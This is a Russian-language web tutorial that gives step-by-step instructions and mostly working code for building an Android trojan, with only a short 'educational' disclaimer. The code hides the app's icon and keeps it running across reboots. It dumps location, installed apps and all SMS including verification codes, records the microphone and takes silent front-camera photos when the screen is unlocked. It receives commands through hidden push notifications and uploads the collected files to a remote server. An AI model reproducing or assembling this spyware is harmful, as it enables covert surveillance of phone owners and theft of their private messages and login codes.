RuCore.NET

Создание трояна для Андроид по шагам





Как написать троян на Андроид?

Итак, наша цель — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой троян, наш пример при желании сможет наблюдать и передавать информацию о целевом устройстве на сервер.

Возможности трояна будут следующие:



  • сбор информации о местоположении;
  • получение списка установленных приложений;
  • получение СМС;
  • запись аудио;
  • съемка задней или фронтальной камерой.

Все эти данные наше приложение будет отправлять на удаленный сервер, где мы сможем проанализировать результаты его работы.

Важно! Создание и распространение вредоносных программ карается лишением свободы до четырех лет (статья 273). Мы не хотим, чтобы вы сломали себе жизнь в местах не столь отдаленных, поэтому публикуем статью исключительно в образовательных целях. Ведь лучший способ разобраться в работе зловредного ПО — это узнать, как оно создается.

По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи вам придется выполнить самим (для этого потребуются кое-какие знания в разработке приложений для Android).

Каркас

На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).

Начнем. Создайте приложение, указав в манифесте следующие разрешения:

<uses-permission android:name=»android.permission.ACCESS_COARSE_LOCATION»/>

<uses-permission android:name=»android.permission.ACCESS_FINE_LOCATION» />

<uses-permission android:name=»android.permission.INTERNET» />

<uses-permission android:name=»android.permission.CAMERA» />

<uses-permission android:name=»android.permission.RECORD_AUDIO» />

<uses-permission android:name=»android.permission.RECEIVE_BOOT_COMPLETED»/>

<uses-permission android:name=»android.permission.READ_PHONE_STATE» />

<uses-permission android:name=»android.permission.PROCESS_OUTGOING_CALLS» />

<uses-permission android:name=»android.permission.READ_CONTACTS» />

<uses-permission android:name=»android.permission.READ_SMS» />

В «build.gradle» укажите «compileSdkVersion 22» и «targetSdkVersion 22». Так вы избавите приложение от необходимости запрашивать разрешения во время работы (22 — это Android 5.1, обязательный запрос разрешений появился в 23 — Android 6.0, но работать приложение будет в любой версии).

Теперь создайте пустую Activity и Service. В метод «onStartCommand» сервиса добавьте строку «return Service.START_STICKY». Это заставит систему перезапускать его в случае непреднамеренного завершения.

Добавьте их описание в манифест (здесь и далее наше приложение будет называться com.example.app):

<activity

android:name=»com.example.app.MainActivity»

android:label=»@string/app_name» >

<intent-filter>

<action android:name=»android.intent.action.MAIN» />

<category android:name=»android.intent.category.LAUNCHER» />

</intent-filter>

</activity>

<service

android:name=»com.example.app.MainService»

android:enabled=»true»

android:exported=»false»>

</service>

Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:

void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState)

  • Запускаем сервис

startService(new Intent(this, MainService.class));

  • Отключаем Activtiy

ComponentName cn = new ComponentName(«com.example.app», «com.example.app.MainActivity»);

pm.setComponentEnabledSetting(cn, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);

}

Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.

Информация о местоположении

Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.

Начнем с определения местоположения. В Андроид есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по WiFi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).

В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:

Location getLastLocation(Context context) {

LocationManager lManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE);

android.location.Location locationGPS = lManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);

android.location.Location locationNet = lManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);

long GPSLocationTime = 0;

if (null != locationGPS) { GPSLocationTime = locationGPS.getTime(); }

long NetLocationTime = 0;

if (null != locationNet) { NetLocationTime = locationNet.getTime(); }

Location loc;

if ( 0 < GPSLocationTime — NetLocationTime ) {

loc = locationGPS;

} else {

loc = locationNet;

}

if (loc != null) {

return loc;

} else {

return null;

}

}

Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.

Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:

Location loc = getLastKnownLocation(context)

String locationFile = context.getApplicationInfo().dataDir + «/location»

try {

OutputStreamWriter outputStreamWriter = new OutputStreamWriter(context.openFileOutput(locationFile, Context.MODE_PRIVATE));

outputStreamWriter.write(loc.getLatitude() + » » + loc.getLongitude);

outputStreamWriter.close();

}

catch (IOException e) {}

Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.

Список установленных приложений

Получить список установленных приложений еще проще:

void dumpSMS(Context context) {

String appsFile = context.getApplicationInfo().dataDir + «/apps»

final PackageManager pm = context.getPackageManager();

List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);

try {

PrintWriter pw = Files.writeLines(appsFile);

for (ApplicationInfo packageInfo : packages) {

if (!isSystemPackage(packageInfo))

pw.println(pm.getApplicationLabel(packageInfo) + «: » + packageInfo.packageName);

}

pw.close();

} catch (IOException e) {}

}

private boolean isSystemPackage(ApplicationInfo applicationInfo) {

return ((applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0);

}

Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.

Дамп СМС

Уже сложнее. Чтобы получить список всех сохраненных СМС, нам необходимо подключиться к БД и пройтись по ней в поисках нужных записей. Код, позволяющий дампнуть все СМС в файл:

void dumpSMS(Context context, String file, String box) {

SimpleDateFormat formatter = new SimpleDateFormat(«yyyy.MM.dd HH:mm:ss», Locale.US);

Cursor cursor = context.getContentResolver().query(Uri.parse(«content://sms/» + box), null, null, null, null);

try {

PrintWriter pw = Files.writeLines(file);

if (cursor != null && cursor.moveToFirst()) {

do {

String address = null;

String date = null;

String body = null;

for (int idx = 0; idx < cursor.getColumnCount(); idx++) {

switch (cursor.getColumnName(idx)) {

case «address»:

address = cursor.getString(idx);

break;

case «date»:

date = cursor.getString(idx);

break;

case «body»:

body = cursor.getString(idx);

}

}

if (box.equals(«inbox»)) {

pw.println(«From: » + address);

} else {

pw.println(«To: » + address);

}

String dateString = formatter.format(new Date(Long.valueOf(date)));

pw.println(«Date: » + dateString);

if (body != null) {

pw.println(«Body: » + body.replace(‘\n’, ‘ ‘));

} else {

pw.println(«Body: «);

}

pw.println();

} while (cursor.moveToNext());

}

pw.close();

cursor.close();

} catch (Exception e) {}

}

Использовать его следует так:

  • Сохраняем список всех полученных СМС

String inboxFile = context.getApplicationInfo().dataDir + «/sms_inbox»

dumpSMS(context, inboxFile, «inbox»);

  • Сохраняем список отправленных СМС

String sentFile = context.getApplicationInfo().dataDir + «/sms_sent»;

dumpSMS(context, sentFile, «sent»);

Записи в файле будут выглядеть примерно так:

From: Google

Date: 2018.07.08 06:49:55

Body: [email protected] is your Google verification code.

Скрытая запись аудио

Записать аудио с микрофона можно с помощью «API MediaRecorder». Достаточно передать ему параметры записи и запустить ее с помощью метода «start()». Остановить запись можно с помощью метода «stop()». Следующий код демонстрирует, как это сделать. В данном случае мы используем отдельный спящий поток, который просыпается по истечении заданного тайм-аута и останавливает запись:

void recordAudio(String file, final int time) {

MediaRecorder recorder = new MediaRecorder();

recorder.setAudioSource(MediaRecorder.AudioSource.MIC);

recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);

recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);

recorder.setOutputFile(file);

try {

recorder.prepare();

} catch (IOException e) {}

recorder.start();

Thread timer = new Thread(new Runnable() {

@Override

public void run() {

try {

Thread.sleep(time * 1000);

} catch (InterruptedException e) {

Log.d(TAG, «timer interrupted»);

} finally {

recorder.stop();

recorder.release();

}

}

});

timer.start();

}

Использовать его можно, например, так:

DateFormat formatter = new SimpleDateFormat(«yyyy-MM-dd-HH-mm-ss», Locale.US);

Date date = new Date();

String filePrefix = context.getApplicationInfo().dataDir + «/audio-«;

recordAudio(filePrefix + formatter.format(date) + «.mp4», 15);

Данный код сделает 15-секундную запись и поместит ее в файл audio-ДАТА-И-ВРЕМЯ.mp4.

Скрытая съемка

С камерой сложнее всего. Во-первых, по-хорошему необходимо уметь работать сразу с двумя API камеры: классическим и Camera2, который появился в Android 5.0 и стал основным в 7.0. Во-вторых, API Camera2 часто работает некорректно в Android 5.0 и даже в Android 5.1, к этому нужно быть готовым. В-третьих, Camera2 — сложный и запутанный API, основанный на колбэках, которые вызываются в момент изменения состояния камеры. В-четвертых, ни в классическом API камеры, ни в Camera2 нет средств для скрытой съемки. Они оба требуют показывать превью, и это ограничение придется обходить с помощью хаков.

Учитывая, что с Camera2 работать намного сложнее, а описать нюансы работы с ней в рамках данной статьи не представляется возможным, я просто приведу весь код класса для скрытой съемки. А вы можете либо использовать его как есть, либо попробуете разобраться с ним самостоятельно (но я предупреждаю: вы попадете в ад):

public class SilentCamera2 {

private Context context;

private CameraDevice device;

private ImageReader imageReader;

private CameraCaptureSession session;

private SurfaceTexture surfaceTexture;

private CameraCharacteristics characteristics;

private Surface previewSurface;

private CaptureRequest.Builder request;

private Handler handler;

private String photosDir;

public SilentCamera2(Context context) {

this.context = context;

}

private final CameraDevice.StateCallback mStateCallback =

new CameraDevice.StateCallback() {

@Override

public void onOpened(CameraDevice cameraDevice) {

device = cameraDevice;

try {

surfaceTexture = new SurfaceTexture(10);

previewSurface = new Surface(surfaceTexture);

List<Surface> surfaceList = new ArrayList<>();

surfaceList.add(previewSurface);

surfaceList.add(imageReader.getSurface());

cameraDevice.createCaptureSession(surfaceList, mCaptureStateCallback, handler);

} catch (Exception e) {

}

}

@Override

public void onDisconnected(CameraDevice cameraDevice) {

}

@Override

public void onError(CameraDevice cameraDevice, int error) {

}

};

private CameraCaptureSession.StateCallback mCaptureStateCallback =

new CameraCaptureSession.StateCallback() {

@Override

public void onConfigured(CameraCaptureSession captureSession) {

session = captureSession;

try {

request = device.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);

request.addTarget(previewSurface);

request.set(CaptureRequest.CONTROL_AF_TRIGGER,

CameraMetadata.CONTROL_AF_TRIGGER_START);

captureSession.setRepeatingRequest(request.build(), mCaptureCallback, handler);

} catch (Exception e) {

}

}

@Override

public void onConfigureFailed(CameraCaptureSession mCaptureSession) {}

};

private CameraCaptureSession.CaptureCallback mCaptureCallback =

new CameraCaptureSession.CaptureCallback() {

@Override

public void onCaptureCompleted(CameraCaptureSession session,

CaptureRequest request,

TotalCaptureResult result) {

}

};

private final ImageReader.OnImageAvailableListener mOnImageAvailableListener =

new ImageReader.OnImageAvailableListener() {

@Override

public void onImageAvailable(ImageReader reader) {

DateFormat dateFormat = new SimpleDateFormat(«yyyy-MM-dd-HH-mm-ss»);

Date date = new Date();

String filename = photosDir + «/» + dateFormat.format(date) + «.jpg»;

File file = new File(filename);

Image image = imageReader.acquireLatestImage();

try {

ByteBuffer buffer = image.getPlanes()[0].getBuffer();

byte[] bytes = new byte[buffer.remaining()];

buffer.get(bytes);

OutputStream os = new FileOutputStream(file);

os.write(bytes);

image.close();

os.close();

} catch (Exception e) {

e.getStackTrace();

}

closeCamera();

}

};

private void takePicture() {

request.set(CaptureRequest.JPEG_ORIENTATION, getOrientation());

request.addTarget(imageReader.getSurface());

try {

session.capture(request.build(), mCaptureCallback, handler);

} catch (CameraAccessException e) {

}

}

private void closeCamera() {

try {

if (null != session) {

session.abortCaptures();

session.close();

session = null;

}

if (null != device) {

device.close();

device = null;

}

if (null != imageReader) {

imageReader.close();

imageReader = null;

}

if (null != surfaceTexture) {

surfaceTexture.release();

}

} catch (Exception e) {

}

}

public boolean takeSilentPhoto(String cam, String dir) {

photosDir = dir;

int facing;

switch (cam) {

case «front»:

facing = CameraCharacteristics.LENS_FACING_FRONT;

break;

case «back»:

facing = CameraCharacteristics.LENS_FACING_BACK;

break;

default:

return false;

}

CameraManager manager = (CameraManager)

context.getSystemService(Context.CAMERA_SERVICE);

String cameraId = null;

characteristics = null;

try {

for (String id : manager.getCameraIdList()) {

characteristics = manager.getCameraCharacteristics(id);

Integer currentFacing = characteristics.get(CameraCharacteristics.LENS_FACING);

if (currentFacing != null && currentFacing == facing) {

cameraId = id;

break;

}

}

} catch (Exception e) {

return false;

}

HandlerThread handlerThread = new HandlerThread(«CameraBackground»);

handlerThread.start();

handler = new Handler(handlerThread.getLooper());

imageReader = ImageReader.newInstance(1920,1080, ImageFormat.JPEG, 2);

imageReader.setOnImageAvailableListener(mOnImageAvailableListener, handler);

try {

manager.openCamera(cameraId, mStateCallback, handler);

  • Ждем фокусировку

Thread.sleep(1000);

takePicture();

} catch (Exception e) {

Log.d(TAG, «Can’t open camera: » + e.toString());

return false;

}

return true;

}

private int getOrientation() {

WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);

int rotation = wm.getDefaultDisplay().getRotation();

int deviceOrientation = 0;

switch(rotation){

case Surface.ROTATION_0:

deviceOrientation = 0;

break;

case Surface.ROTATION_90:

deviceOrientation = 90;

break;

case Surface.ROTATION_180:

deviceOrientation = 180;

break;

case Surface.ROTATION_270:

deviceOrientation = 270;

break;

}

int sensorOrientation = characteristics.get(CameraCharacteristics.SENSOR_ORIENTATION);

deviceOrientation = (deviceOrientation + 45) / 90 * 90;

boolean facingFront = characteristics.get(CameraCharacteristics.LENS_FACING) == CameraCharacteristics.LENS_FACING_FRONT;

if (facingFront) deviceOrientation = -deviceOrientation;

return (sensorOrientation + deviceOrientation + 360) % 360;

}

}

Этот код следует вызывать в отдельном потоке, передав в качестве аргументов место расположения камеры («front» — передняя, «back» — задняя) и каталог, в который будут сохранены фотографии. В качестве имен файлов будет использована текущая дата и время.

String cameraDir = context.getApplicationInfo().dataDir + «/camera/»

camera.takeSilentPhoto(«front», cameraDir);

Складываем все вместе

С этого момента у нас есть каркас приложения, который запускает сервис и скрывает свое присутствие. Есть набор функций и классов, которые позволяют собирать информацию о смартфоне и его владельце, а также скрыто записывать аудио и делать фото. Теперь нужно разобраться, когда и при каких обстоятельствах их вызывать.

Если мы просто засунем вызов всех этих функций в сервис, то получим бесполезное «одноразовое приложение». Сразу после запуска оно узнает информацию о местоположении, получит список приложений, СМС, сделает запись аудио, снимок, сохранит все это в файлы в своем приватном каталоге и уснет. Оно даже не запустится после перезагрузки.

Гораздо более полезным оно станет, если определение местоположения, дамп приложений и СМС будет происходить по расписанию (допустим, раз в полчаса), снимок экрана — при каждом включении устройства, а запись аудио — по команде с сервера.

Задания по расписанию

Чтобы заставить Android выполнять код нашего приложения через определенные интервалы времени, можно использовать AlarmManager. Для начала напишем такой класс:

public class Alarm extends BroadcastReceiver {

public static void set(Context context) {

AlarmManager am = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);

Intent intent = new Intent(context, Alarm.class);

PendingIntent pIntent = PendingIntent.getBroadcast(context, 0, intent, 0);

am.setInexactRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime(), 30 * 60 * 1000, pIntent);

}

@Override

public void onReceive(Context context, Intent intent) {

  • Твой код здесь

}

}

Метод «set()» установит «будильник», срабатывающий каждые тридцать минут и запускающий метод «onReceive()». Именно в него вы должны поместить код, скидывающий местоположение, СМС и список приложений в файлы.

В метод «onCreate()» сервиса добавьте следующую строку:

Alarm.set(this)

Снимок при включении экрана

Бессмысленно делать снимок каждые полчаса. Гораздо полезнее делать снимок передней камерой при разблокировке смартфона (сразу видно, кто его использует). Чтобы реализовать такое, создайте класс ScreenOnReceiver:

class ScreenOnReceiver extends BroadcastReceiver() {

@Override

void onReceive(Context context, Intent intent) {

  • Ваш код здесь

}

}

И добавьте в манифест следующие строки:

<receiver android:name=»com.example.app.ScreenOnReceiver»>

<intent-filter>

<action android:name=»android.intent.action.ACTION_SCREEN_ON» />

</intent-filter>

</receiver>

Запуск при загрузке

В данный момент у нашего приложения есть одна большая проблема — оно будет работать ровно до тех пор, пока юзер не перезагрузит смартфон. Чтобы перезапускать сервис при загрузке смартфона, создадим еще один ресивер:

class BootReceiver extends BroadcastReceiver() {

@Override

void onReceive(Context context, Intent intent) {

Intent serviceIntent = new Intent(this, MainService.class);

startService(serviceIntent);

}

}

И опять же добавим его в манифест:

<receiver android:name=»com.example.BootReceiver»>

<intent-filter>

<action android:name=»android.intent.action.BOOT_COMPLETED» />

</intent-filter>

</receiver>

Запись аудио по команде

С этим немного сложнее. Самый простой способ отдать команду нашему трояну — записать ее в обычный текстовый файл и выложить этот файл на сервере. Затем поместить в сервис код, который будет, допустим, каждую минуту чекать сервер на наличие файла и выполнять записанную в нем команду.

В коде это может выглядеть примерно так:

String url = «//example.com/cmd»

OkHttpClient client = new OkHttpClient();

Request request = new Request.Builder().url(url).build();

while (true) {

Response response = client.newCall(request).execute();

String cmd = response.body().string();

cmd = cmd.trim()

if (cmd.equals(«record»)) {

  • Делаем аудиозапись

}

try {

Thread.sleep(60 * 1000);

} catch (InterruptedException e) {}

}

Конечно же, у этого кода есть проблема — если вы один раз запишете команду в файл на сервере, троян будет выполнять ее каждую минуту. Чтобы этого избежать, достаточно добавить в файл числовой префикс в формате «X:команда» и увеличивать этот префикс при каждой записи команды. Троян же должен сохранять это число и выполнять команду только в том случае, если оно увеличилось.

Гораздо хуже, что ваш троян будет заметно жрать батарею. А Андроид (начиная с шестой версии) будет его в этом ограничивать, закрывая доступ в интернет.

Чтобы избежать этих проблем, можно использовать сервис push-уведомлений. OneSignal отлично подходит на эту роль. Он бесплатен и очень прост в использовании. Зарегистрируйтесь в сервисе, добавьте новое приложение и следуйте инструкциям, в конце ван скажут, какие строки необходимо добавить в build.gradle приложения, а также попросят создать класс вроде этого:

class App extends Application {

@Override

public void onCreate() {

super.onCreate()

OneSignal.startInit(this).init()

}

}

Но это еще не все. Также ван нужен сервис — обработчик push-уведомлений, который будет принимать их и выполнять действия в зависимости от содержащихся в push-уведомлении данных:

class OSService extends NotificationExtenderService {

@Override

protected boolean onNotificationProcessing(OSNotificationReceivedResult receivedResult) {

String cmd = receivedResult.payload.body.trim()

if (cmd.equals(«record»)) {

  • Делаем аудиозапись

}

  • Не показывать уведомление

return true

}

}

Этот код трактует содержащуюся в уведомлении строку как команду и, если эта команда — record, выполняет нужный нам код. Само уведомление не появится на экране, поэтому пользователь ничего не заметит.

Последний штрих — добавим сервис в манифест:

<service

android:name=»org.antrack.app.service.OSService»

android:exported=»false»>

<intent-filter>

<action android:name=»com.onesignal.NotificationExtender» />

</intent-filter>

</service>

Отправка данных на сервер

На протяжении всей статьи мы обсуждали, как собрать данные и сохранить их в файлы внутри приватного каталога. И теперь мы готовы залить эти данные на сервер. Сделать это не так уж сложно, вот, например, как можно отправить на сервер нашу фотку:

private static final MediaType MEDIA_TYPE_JPEG = MediaType.parse(«image/jpeg»);

public void uploadImage(File image, String imageName) throws IOException {

OkHttpClient client = new OkHttpClient();

RequestBody requestBody = new MultipartBody.Builder().setType(MultipartBody.FORM)

.addFormDataPart(«file», imageName, RequestBody.create(MEDIA_TYPE_JPEG, image))

.build();

Request request = new Request.Builder().url(«//com.example.com/upload»)

.post(requestBody).build();

Response response = client.newCall(request).execute();

}

Вызывать этот метод нужно из метода «onReceive()» класса Alarm, чтобы каждые тридцать минут приложение отправляло новые файлы на сервер. Отправленные файлы следует удалять.

Ну и конечно же, на стороне сервера вам необходимо реализовать хендлер, который будет обрабатывать аплоады. Как это сделать, сильно зависит от того, какой фреймворк и сервер вы используете.

Выводы

Android — очень дружелюбная к разработчикам сторонних приложений ОС. Поэтому создать троян здесь можно, используя стандартный API. Более того, с помощью того же API его иконку можно скрыть из списка приложений и заставить работать в фоне, незаметно для пользователя.

На этом все. Теперь вы знаете как хакеры создают трояны для Андроид.



Поделись статьей с друзьями


291 просмотров



Сообщить об опечатке

Текст, который будет отправлен нашим редакторам: